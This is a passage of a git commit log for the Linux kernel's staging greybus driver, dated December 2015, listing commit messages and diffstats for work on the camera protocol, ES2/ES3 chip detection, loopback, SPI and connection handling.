drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/arche-apb-ctrl.c | 400 +++++++++++++++++++++++++++++++ 2 files changed, 402 insertions(+) commit 7fa60654752bd4fbbe1e35e310a4bc96b6a3dec3 Author: Vaibhav Hiremath Date: Wed Dec 16 16:29:18 2015 +0530 greybus: arche-platform: Rename db3-platform to arche-platform With multiple platforms getting rolled into ara, db3 name is confusing. And this driver is applicable to all arche platforms, so make sense to rename it to arche-platform.c. Also rename all internal functions accordingly. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/arche-platform.c | 216 +++++++++++++++++++++++++++++++ drivers/staging/greybus/db3-platform.c | 211 ------------------------------ 3 files changed, 218 insertions(+), 213 deletions(-) commit 0b8af6a901512a61e687e765c75c8d3ca9867493 Author: Vaibhav Hiremath Date: Wed Dec 16 16:29:17 2015 +0530 greybus: db3(arche)-platform: Remove all APB control code Current db3(arche)-platform driver was only handling APB control signals, which is where it all started. But now with completion of DB3/EVT1 bringup we know that platform driver is more than APB control. We have to bring SVC up before APB, as SVC supposed to enable clock to APB's. Note that, in EVT1, AP will have direct control over APB's clock. Then we have dependency between APB and USB HUB, where, APB should be brought up before USB HUB (note that this needs to rootcaused). This patch cleanup the db3(arche)-platform driver to remove all APB control code. The idea here is create another driver for APB control (arche-apb-ctrl.c), which will deal with APB. And this driver will have generic/common platform specific support, currently manages SVC resources. This patch also takes in all the changes from factory branch, discovered during bringup. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/db3-platform.c | 356 +++++++++------------------------ 1 file changed, 97 insertions(+), 259 deletions(-) commit 3563ff88e65e544f09569195b07841dd48d60e57 Author: Eli Sennesh Date: Tue Dec 22 17:26:57 2015 -0500 greybus: firmware and svc: detect the difference between ES2 and ES3 chips The Greybus SVC code needs to read and clear the module boot status upon hotplug; this requires reading two different attributes depending on whether we're running on ES2 or ES3. On Marti Bolivar's (mbolivar@leaflabs.com) advice, we detect ES2 using the unique ES2_DDBL1_MFR_ID and ES2_DDBL1_PROD_ID for ES2 hardware, and treat all other chips as ES3 appropriately. This patch detects the difference and adds the appropriate definitions for ES3 hardware. Signed-off-by: Eli Sennesh Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 3 --- drivers/staging/greybus/greybus_protocols.h | 20 +++++++++----- drivers/staging/greybus/svc.c | 41 ++++++++++++++++++++--------- 3 files changed, 41 insertions(+), 23 deletions(-) commit 0e9403a0fbf704b40ae80c2379b643caed924a5e Author: Viresh Kumar Date: Tue Dec 22 22:04:34 2015 +0530 greybus: interface: Expose DDBL1 manufacturing and production id in sysfs These ids are already fetched from the SVC, but were never exposed to sysfs. Userspace may be interested in using these values and hence these must be exposed to it. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 16 ++++++++++++++++ .../sysfs/greybus1/1-2/ddbl1_manufacturer_id | 0 .../Documentation/sysfs/greybus1/1-2/ddbl1_product_id | 0 .../sysfs/greybus1/1-4/ddbl1_manufacturer_id | 0 .../Documentation/sysfs/greybus1/1-4/ddbl1_product_id | 0 .../sysfs/greybus2/2-3/ddbl1_manufacturer_id | 0 .../Documentation/sysfs/greybus2/2-3/ddbl1_product_id | 0 drivers/staging/greybus/interface.c | 4 ++++ 8 files changed, 20 insertions(+) commit b32a5c5346bdaac0ad6ef12cb444a9ad69d2b24b Author: Viresh Kumar Date: Tue Dec 22 22:04:33 2015 +0530 greybus: interface: Prefix DDBL1 attributes with ddbl1_ instead of unipro_ The Device descriptor block Level 1 (DDBL1) attributes are specified by the MIPI standard and prefixing them with 'unipro_' isn't the best thing to do. They should be prefixed with DDBL1 instead. To make it more readable/clear: - rename macros and variable by prefixing them with ddbl1_. - write full names for mfg and prod ids as manufacturer and product ids. - replace mfg (manufacturing) with mfr (manufacturer) Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 10 +++++----- drivers/staging/greybus/greybus_protocols.h | 4 ++-- drivers/staging/greybus/interface.h | 4 ++-- drivers/staging/greybus/svc.c | 4 ++-- 4 files changed, 11 insertions(+), 11 deletions(-) commit a5a7723a0d3762387fc765e69f0ab61fd4d47f00 Author: Johan Hovold Date: Tue Dec 22 17:55:53 2015 +0100 greybus: es2: clean up csi-config request Use __packed and __u8 for csi-config request that is going out on the wire. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 61a748a30d883996c80cc2a4cda9b1e056c75c1b Author: Johan Hovold Date: Tue Dec 22 17:55:52 2015 +0100 greybus: svc: drop copy-pasted function header Drop function header that was copied but never updated or removed when adding gb_svc_link_config. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 1 - 1 file changed, 1 deletion(-) commit 2c7df74468506f390cd53c0af3457943e8076bd8 Author: Viresh Kumar Date: Fri Dec 18 15:04:27 2015 +0530 greybus: interface: Prefix hexadecimal values with '0x' In order to clearly specify the base of values printed using sysfs files, prefix hexadecimal values with '0x'. Also force the minimum width (to be printed) for hexadecimal values to their sizes. To make it more readable make the second argument to gb_interface_attr() a proper string. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit ccb58035915d8e915fbf39c389e95bb11fe9aff3 Author: Laurent Pinchart Date: Tue Dec 22 03:00:37 2015 +0200 greybus: es2: Don't use stack memory as USB request data USB request data must be DMAble memory, allocate it with kzalloc() instead of declaring it as a local variable. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) commit e715a54f4b3fa7d46802984833dc918e44b608e5 Author: Laurent Pinchart Date: Tue Dec 22 03:00:36 2015 +0200 greybus: es2: Fix endian conversion issues Convert all USB request fields between CPU and protocol endianness. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 98ce3b0a71c23f924dd031d41171a96eee7fe313 Author: Laurent Pinchart Date: Tue Dec 22 03:00:35 2015 +0200 greybus: camera: Fix remaining endian conversion issues Convert all Greybus operation fields between CPU and protocol endianness. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b1c7d67e886be3baf1b2e1f061d09f758709ba9b Author: Laurent Pinchart Date: Sat Dec 19 08:38:56 2015 +0200 greybus: camera: Set link power mode to HS-G2 with 2 lanes HS-G1 isn't enough for all camera modules. The gear will need to be computed dynamically, but for now hardcode it to 2 with 2 lanes. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 142b21fee07e858a85bb1b8091d9803cf9fa13e3 Author: Laurent Pinchart Date: Fri Dec 18 21:23:25 2015 +0200 greybus: camera: Configure the bridge CSI transmitter Start or stop the CSI transmitter when configuring and unconfiguring the streams respectively. The CSI configuration parameters are currently hardcoded. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 8e2b7daa23760e7be642e87b2ea5fea78a18fd79 Author: Laurent Pinchart Date: Fri Dec 18 21:23:24 2015 +0200 greybus: es2: Add support for CSI transmitter configuration Export a function from the es2 driver to configure the CSI transmitter through the corresponding USB vendor control request. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 48 +++++++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/es2.h | 27 ++++++++++++++++++++++++ 2 files changed, 75 insertions(+) commit bcc050be962179f8004629b0869db8996eb8596c Author: Laurent Pinchart Date: Fri Dec 18 21:23:23 2015 +0200 greybus: camera: Configure link speed for the data connection Hardcode the speed to HS-G1 for now. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 784f87614a633f9cca12c35ebb3cbdb1e80452c6 Author: Laurent Pinchart Date: Fri Dec 18 21:23:22 2015 +0200 greybus: svc: Add support for the link config operation Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 15 +++++++++++++++ drivers/staging/greybus/svc.c | 18 ++++++++++++++++++ drivers/staging/greybus/svc.h | 3 +++ 3 files changed, 36 insertions(+) commit c6622216ffaacc6286189121e63cdaae1b6bcbce Author: Laurent Pinchart Date: Fri Dec 18 21:23:21 2015 +0200 greybus: camera: Fix endian conversion issues Convert all Greybus operation fields between CPU and protocol endianness. Signed-off-by: Laurent Pinchart Reported-by: Rui Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 70b3b3e77a87d40ceae6e5f4f6afedbd725fd636 Author: Greg Kroah-Hartman Date: Thu Dec 17 22:32:03 2015 -0800 greybus: tools: don't always build them. This breaks the kernel-only build as it can't find any userspace headers with the cross-compiler, so don't build the tools by "default" unless you ask for them. Reported-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d5bc9607f749a241b2491f8f8b07986ba7655350 Author: Greg Kroah-Hartman Date: Tue Dec 15 13:57:22 2015 -0800 greybus: loopback_test: null terminate the dict structure This lets us test for any number of entries, no need to do an ARRAY_SIZE-type comparison. This fixes a build warning of comparing signed/unsigned values.) Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 6bfff1dcb2766ebef60a288601ff4cccbb1f6e54 Author: Greg Kroah-Hartman Date: Tue Dec 15 13:55:05 2015 -0800 greybus: loopback_test: fix warning about signed/unsigned comparison We read an int, don't treat it as a unsigned value, especially when comparing it to a signed value. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6b0658f68786110f41cd82558bd97447e4b14203 Author: Greg Kroah-Hartman Date: Tue Dec 15 12:46:22 2015 -0800 greybus: tools: Add tools directory to greybus repo and add loopback Move the loopback test to the greybus main repo, as we will be adding more tests over time and it doesn't need to be burried in the gbsim repo. This moves the latest version from gbsim to this repo and fixes up the Makefile to be a bit more "smart" when building the code. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/.gitignore | 1 + drivers/staging/greybus/Makefile | 6 +- drivers/staging/greybus/tools/Android.mk | 10 + drivers/staging/greybus/tools/Makefile | 31 + drivers/staging/greybus/tools/README.loopback | 198 ++++++ drivers/staging/greybus/tools/lbtest | 168 +++++ drivers/staging/greybus/tools/loopback_test.c | 958 ++++++++++++++++++++++++++ 7 files changed, 1371 insertions(+), 1 deletion(-) commit 8e77c83e2a6ea1977de0b6e144b90faf1bd4f418 Author: Rui Miguel Silva Date: Thu Dec 17 19:56:23 2015 +0000 greybus: camera: fix data types of operations In some operations definitions it was introduce some new fields with the wrong data types, u8, instead of __u8. And because of this gbsim build was broken. Fixes: 3a1d7aa15bf6 ("greybus: Add camera protocol definition") Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 65fabd1848f2ddd00a1af5a1eaeb4f95dcb25b77 Author: Rui Miguel Silva Date: Tue Dec 15 19:09:57 2015 +0000 greybus: spi: fix and cleanup spi devices handling Cleanup and remove the spi_devices from the greybus spi handling as they are not needed and they were completely misused. With this the gb_spi_init does not make sense to exist anymore, so just remove it and handle the master config directly from connection init. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 24 +++--------------------- 1 file changed, 3 insertions(+), 21 deletions(-) commit 4a0c4453e3f99335db3e7786b1a66e3b6cfa0653 Author: Rui Miguel Silva Date: Tue Dec 15 19:09:56 2015 +0000 greybus: spi: unregister master on device add fail When registering devices if any of it fail, just cleanup and release spi master. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit a92a2d46acd0bfb97ba409d9d663c270cb240715 Author: Rui Miguel Silva Date: Tue Dec 15 19:09:55 2015 +0000 greybus: spi: validate spi master register Check for error in registering spi master, even though the current code will fail a little more ahead when trying to register devices in the master. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 2 ++ 1 file changed, 2 insertions(+) commit 5fbd1a0bcb02a2fda30849539dee0b91c4009c42 Author: Rui Miguel Silva Date: Tue Dec 15 19:09:54 2015 +0000 greybus: spi: rename label to undo operation Rename error path label to a more significant name related to the free operation done. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 141af4f05435ac217b9e1fc8260b42e460997fb6 Author: Johan Hovold Date: Tue Dec 15 15:28:57 2015 +0100 greybus: interface: fix hot-unplug control-connection timeouts Set an interface disconnected flag when the interface has been hot-unplugged (e.g. forcibly removed or after a reboot), and use it to disable the control connection early when deregistering the interface and its bundles. This avoids a one-second (default) timeout for every enabled connection (e.g. one per bundle) at hot-unplug, something which for the default gpbridge manifest currently amounts to five seconds. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 3 +++ drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 5 +++-- 3 files changed, 7 insertions(+), 2 deletions(-) commit c634650ecc5b3db9ac4f1258387b87ff66386906 Author: Johan Hovold Date: Tue Dec 15 15:28:56 2015 +0100 greybus: interface: clean up control-connection handling Clean up control-connection handling by managing it through the control structure and a higher-level control interface. Also make both the control structure and connection lifetimes coincide with that of the interface. The control connection is now only enabled and disabled when the interface is initialised and removed. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 57 +++++++++++++++++++++++++++++++------ drivers/staging/greybus/control.h | 5 ++++ drivers/staging/greybus/interface.c | 28 +++++++++--------- 3 files changed, 66 insertions(+), 24 deletions(-) commit ed972e3a36c3402479f46f6d0218e7ef586d0d3e Author: Johan Hovold Date: Tue Dec 15 15:51:48 2015 +0100 greybus: es2: demote dynamic-urb error message Demote error message when needing to dynamically allocate an URB to debug level. This isn't really an error as much as a reminder of how the current es2 implementation works: It uses a fixed number of pre-allocated URBs, but allocates URBs dynamically when enough messages are sent in rapid succession to exhaust the URB pool. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4dda744c2a26d7ee63ceaf834bfe19ab038e4064 Author: Greg Kroah-Hartman Date: Mon Dec 14 18:33:19 2015 -0800 greybus: Camera: remove f_dentry usage On newer kernels f_dentry is gone, so use f_path.dentry instead. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3265edaf0d70433699eece915fcca6509332c0e8 Author: Laurent Pinchart Date: Tue Dec 15 03:18:06 2015 +0200 greybus: Add driver for the camera class protocol Integration with the V4L2 camera drivers isn't available yet, a debugfs interface is exposed instead to call the camera Greybus operations. The debugfs interface will be kept for module testing purpose in order to exercise all the protocol operations with various valid and invalid parameters. Signed-off-by: Laurent Pinchart Signed-off-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/camera.c | 611 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 613 insertions(+) commit e61a2a7114bc9d87d4db2994bbe49a28f8331a3a Author: Laurent Pinchart Date: Tue Dec 15 03:18:05 2015 +0200 greybus: Add camera protocol definition Define the camera data protocol ID and all the protocol operations data structures. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 3 +- drivers/staging/greybus/greybus_protocols.h | 71 +++++++++++++++++++++++++++++ 2 files changed, 73 insertions(+), 1 deletion(-) commit 8e3fba55d379bb67732c878988cf9859bfea2812 Author: Bryan O'Donoghue Date: Fri Dec 11 13:46:53 2015 +0000 greybus: loopback: Add asynchronous backoff A specific request from the firmware people is the ability to back-off from sending more asynchronous operations once a specific number of operations are in-flight. This patch adds that ability - with a new sysfs parameter 'outstanding_operations_max' which controls the maximum number of operations that can be outstanding/in-flight at any time. When outstanding_operations_max contains a non-zero value and asynchronous operations are being used - we will back-off until the completion counter is < outstanding_operations_max. Tested in both synchronous and asynchronous mode and with gb_loopback_connection_exit() interrupting in-flight operations. Suggested-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 36f241fff4720f205e36bda5900d4ef7b6662bd7 Author: Bryan O'Donoghue Date: Fri Dec 11 13:46:52 2015 +0000 greybus: loopback: Wait for all async operations to complete on exit On gb_loopback_connection_exit() we should ensure every issued asynchronous operation completes before exiting connection_exit(). This patch introduces a waitqueue with a counter which represents the number of incomplete asynchronous operations. When the counter reaches zero connection_exit() will complete. At the point which we wait for outstanding operations to complete the connection-specific loopback thread will have ceased to issue new operations. Tested with both synchronous and asynchronous operations. Reviewed-by: Johan Hovold Suggested-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit c7aae4e613ef471f9f785e4b85de4d46d552c86b Author: Bryan O'Donoghue Date: Fri Dec 11 13:46:51 2015 +0000 greybus: loopback: Retrun -ENOMEM if operation allocation fails If operation allocation fails we should return -ENOMEM in the asynchronous operation send routine. If we don't return here then the gb_loopback_async_operation_put() later can dereference a NULL pointer if the previous gb_operation_create() failed. Reported-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 578a0ab8dd02f1de4b3b0e7b227ff78ae54fa4e1 Author: Bryan O'Donoghue Date: Fri Dec 11 13:46:50 2015 +0000 greybus: loopback: Drop NULL check on container_of pointer container_of cannot return NULL and the pointer passed to this context uses reference counter bumped inside a spinlock, so the base pointer will be valid at this point. Suggested-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 --- 1 file changed, 3 deletions(-) commit 079fa32ba53a205a745e75b045361beeffdfeaba Author: Axel Haslam Date: Fri Dec 11 11:49:45 2015 +0100 greybus: loopback: register a struct device. Instead of having the loopback attributes in the bundle device, Add a struct device to the gb_loopback struct and register it on connection_init, deregister it at connection_exit, and move the loopback attribute group over to the new device. Use device_create_with_groups to create sysfs attributes together with device. Suggested-by: Bryan O'Donoghue Suggested-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 95 +++++++++++++++++++++++--------------- 1 file changed, 58 insertions(+), 37 deletions(-) commit 3647a313de367e98840c4dfab491dfbeaf2cf9a4 Author: Axel Haslam Date: Tue Dec 8 18:26:31 2015 +0100 greybus: loopback: remove mask attribute The mask attribute is not used on the driver anymore and can be removed. Signed-off-by: Axel Haslam Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ---- 1 file changed, 4 deletions(-) commit 50014e0774b25666ebdeb537964527e0b9c95c13 Author: Rui Miguel Silva Date: Thu Dec 10 14:24:58 2015 +0000 greybus: spi: move chipselect to one byte size Fixed in the specification, some values for chipselect count and index were different in size, just fix that for all reference to chipselect and move all to one byte size and remove byte order operations. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- drivers/staging/greybus/spi.c | 10 +++++----- 2 files changed, 7 insertions(+), 7 deletions(-) commit a75fd8ba5c8c263d2d0341123822c769e7d95918 Author: Laurent Pinchart Date: Tue Dec 8 19:54:59 2015 +0200 greybus: es2: Reserve CPorts 16 and 17 CPorts 16 and 17 are reserved for CDSI0 and CDSI1 by the ES2 APB, make sure they won't be allocated dynamically. Signed-off-by: Laurent Pinchart Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 5626e0bf99a065d53a0f9966ee335fb0707bd005 Author: Johan Hovold Date: Mon Dec 7 15:05:46 2015 +0100 greybus: interface: clean up error messages Drop redundant __func__ and add missing errno values. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit ab66dd786b4b56875baabef7c188cff862231717 Author: Johan Hovold Date: Mon Dec 7 15:05:45 2015 +0100 greybus: interface: fix interface-registration race Fix race with user space when registering the interface. The interface was registered before having been fully initialised, something which could lead to user space accessing not-yet-initialised attribute values (e.g. zero vendor and product ids or empty vendor and product strings). Note that this is also needed to be able to let attribute visibility depend on manifest data (e.g. interface unlock). Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 32 +++++++++++++++----------------- 1 file changed, 15 insertions(+), 17 deletions(-) commit 708d07a9ea2f32ee3cf4fcbbba8d52c42302b39b Author: Johan Hovold Date: Mon Dec 7 15:05:44 2015 +0100 greybus: interface: separate manifest parsing from bundle registration Separate manifest parsing, including bundle and connection creation, from bundle registration. Note that this is also needed to allow the interface to not be registered until the manifest has been parsed. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 28 ++++++++++++++++++++-------- drivers/staging/greybus/manifest.c | 19 ------------------- 2 files changed, 20 insertions(+), 27 deletions(-) commit a7e36d0eac7fe9d8c66547ac4ec660b026ca4691 Author: Johan Hovold Date: Mon Dec 7 15:05:43 2015 +0100 greybus: bundle: separate bundle creation and registration Separate bundle creation and registration. Note that the bundle connections still needs to be initialised post registration as protocol drivers create child devices to the bundle. This will ultimately allow connection structures to be created while parsing manifests, but the connections to not be enabled until a driver is bound. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 33 +++++++++++++++++++-------------- drivers/staging/greybus/bundle.h | 1 + drivers/staging/greybus/manifest.c | 26 +++++++++++++++++++------- 3 files changed, 39 insertions(+), 21 deletions(-) commit bdc37354aa933d299c959144487eba777e707b63 Author: Johan Hovold Date: Mon Dec 7 15:05:42 2015 +0100 greybus: bundle: separate connection disabling and destruction Separate bundle-connection disabling and destruction, and destroy the connections along with the bundle. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit a234792d715345ebcd684196b05ef0f7454a64cb Author: Johan Hovold Date: Mon Dec 7 15:05:41 2015 +0100 greybus: bundle: use dev_err for bundle-creation errors Use dev_err to report duplicate bundle ids when creating a bundle. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1db1b24304a064b9b4213ba1812450ac054c2c58 Author: Johan Hovold Date: Mon Dec 7 15:05:40 2015 +0100 greybus: bundle: kill the bundle lock Kill the bundle lock, which looked like it protected the interface bundle lists but really did not as lock-less manipulations were still made. No locking for the interface bundle list is in fact needed as bundles are created along with the interface, and the list is only used to check for duplicate bundle ids when parsing the manifest and to destroy the bundles when removing the interface itself. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 33 +++++++++++++-------------------- drivers/staging/greybus/bundle.h | 2 -- 2 files changed, 13 insertions(+), 22 deletions(-) commit 1e6fb9a1451f01f8ea092e49f27338ef9d3c7811 Author: Johan Hovold Date: Mon Dec 7 15:05:39 2015 +0100 greybus: interface: remove defensive WARN_ON Remove defensive WARN_ON testing for a NULL-interface when removing an interface. Every call site has just dereferenced the interface. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 3 --- 1 file changed, 3 deletions(-) commit 100e90000840741b630d1a369119ccb57ea4e49c Author: Johan Hovold Date: Mon Dec 7 15:05:38 2015 +0100 greybus: use decimal notation for interfaces, bundles and cports Fix up the last few places where hexadecimal rather than decimal notation was used for interface, bundle and cport ids. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 5 ++--- drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/es2.c | 11 ++++------- drivers/staging/greybus/greybus_trace.h | 4 ++-- drivers/staging/greybus/manifest.c | 2 +- 5 files changed, 10 insertions(+), 14 deletions(-) commit 7adeaae7132e06cd760b86576b8aefd2f0feb4d1 Author: Johan Hovold Date: Mon Dec 7 15:05:37 2015 +0100 greybus: svc: create svc along with host device Create svc device along with host-device and move the svc-connection to the svc structure. The svc connection is enabled when registering the host device, but as the SVC protocol is currently driven by the SVC, we need to defer registration of the svc device to the connection request handler. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 15 +++++----- drivers/staging/greybus/hd.h | 2 -- drivers/staging/greybus/svc.c | 68 ++++++++++++++++++++++++++++++++++--------- drivers/staging/greybus/svc.h | 5 ++++ 4 files changed, 67 insertions(+), 23 deletions(-) commit 2c848944c14cf9c74c298b2459cc39dc3c757f25 Author: Johan Hovold Date: Mon Dec 7 15:05:36 2015 +0100 greybus: hd: make svc-connection life time coincide with host-device Create the svc-connection as part of the host device, and destroy it in the host-device destructor. The svc-connection is enabled when registering the host device, and disabled when the host device is deregistered. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/hd.c | 23 +++++++---------------- 3 files changed, 9 insertions(+), 17 deletions(-) commit d4c80bad59dbc69a989ca2c4efbcc0fb772a713b Author: Johan Hovold Date: Mon Dec 7 15:05:35 2015 +0100 greybus: hd: initialise device last Initialise the struct device last when creating the host device. After device_initialize(), or rather dev_set_name(), we must use put_device to release the host device. Initialising last will allow for a simpler release callback. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit 0bf1f2441979e290945f4e5af40d76582c61da1e Author: Johan Hovold Date: Mon Dec 7 15:05:34 2015 +0100 greybus: connection: separate connection creation and enabling Separate connection creation from enabling. This will ultimately allow connection structures to be created while parsing manifests, but the connections to not be enabled until a driver is bound. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 12 +----------- drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/hd.c | 7 +++++++ drivers/staging/greybus/interface.c | 6 ++++++ drivers/staging/greybus/manifest.c | 14 ++++++++++++-- 5 files changed, 28 insertions(+), 13 deletions(-) commit 36173112354a4f5993d464f95b04d41e1eec10a0 Author: Johan Hovold Date: Mon Dec 7 15:05:33 2015 +0100 greybus: connection: unbind protocol at exit Unbind protocol at connection exit rather than when the connection is destroyed. Now a protocol is only bound while a connection is enabled. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit 30c2de77aedeb0f576356fe152e1e22c4806d239 Author: Johan Hovold Date: Mon Dec 7 15:05:32 2015 +0100 greybus: connection: bind protocol at init Bind protocol at connection init. This is an intermediate step in separating connection creation and enabling. Note that the protocol is currently still unbound when the connection is destroyed. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) commit 74c831653309872b4a514cb27f456f20a7914173 Author: Johan Hovold Date: Mon Dec 7 15:05:31 2015 